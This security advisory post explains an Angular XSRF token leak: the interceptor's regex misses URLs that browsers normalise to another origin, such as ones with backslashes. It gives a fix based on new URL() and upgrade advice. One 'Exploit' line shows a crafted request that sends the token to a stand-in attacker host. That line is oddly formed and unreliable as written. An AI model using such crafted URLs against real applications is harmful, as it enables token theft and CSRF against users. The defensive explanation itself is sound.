Listen to this Post
Angular’s HTTP Client features a built-in Cross-Site Request Forgery (XSRF) protection mechanism designed to automatically append the `X-XSRF-TOKEN` header to outgoing requests.
To prevent leaking this sensitive token to external domains, the framework attempts to filter out absolute and protocol-relative URLs.
Previously, the interceptor function `xsrfInterceptorFn` implemented a basic regular expression check (const ABSOLUTE_URL_REGEX = /^(?:https?:)?\/\//i) for this purpose.
However, web browsers rely on the WHATWG URL standard to parse and normalize URLs passed to `fetch()` and XMLHttpRequest.open().
The WHATWG URL parser performs extensive normalizations prior to determining the request origin.
These normalization rules treat backslashes as forward slashes, strip leading or trailing C0 control characters and whitespace, and remove ASCII tab, newline, and carriage return characters from anywhere within the input string.
Because crafted input strings containing these characters fail to match Angular’s regular expression, the interceptor misinterprets the target as a safe, relative same-origin URL.
As a result, Angular injects the valid `X-XSRF-TOKEN` header into the request payload.
Meanwhile, the browser’s underlying WHATWG parser normalizes the malformed URL and successfully dispatches the request to an attacker-controlled cross-origin server.
If the attacker’s server supports CORS configurations allowing custom headers, the intercepted token is captured.
Armed with this valid security token, an adversary can execute successful Cross-Site Request Forgery (CSRF) attacks against the authenticated user’s session, resulting in complete session compromise.
The flaw underscores the security risks associated with validating complex web inputs via simple regular expressions instead of standard URL parser constructors like new URL().
DailyCVE Form:
Platform: Angular Framework
Version: Below 20.3.34
Vulnerability : XSRF Token Leakage
Severity: High Severity
date: November 26 2025
Prediction: Already Patched Date
What Undercode Say:
npm install @angular/[email protected]
const parsedUrl = new URL(req.url, window.location.origin);
if (parsedUrl.origin !== window.location.origin) {
// Skip XSRF header attachment for cross-origin requests
}
Exploit: (Educational Purposes!)
POST /\attacker.example/api HTTP/1.1 Host: vulnerable-app.example X-XSRF-TOKEN: secret-token-value
Protection:
Upgrade to Angular versions 20.3.34, 21.0.3, or later. Alternatively, implement manual URL validation using the standard `new URL(url, window.location.origin)` constructor to verify that `parsedUrl.origin === window.location.origin` before dispatching mutating HTTP requests via HttpClient.
Impact:
Allows malicious actors to capture valid `X-XSRF-TOKEN` credentials through cross-origin request smuggling and URL parsing discrepancies, facilitating severe Cross-Site Request Forgery (CSRF) exploits against authenticated application users.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
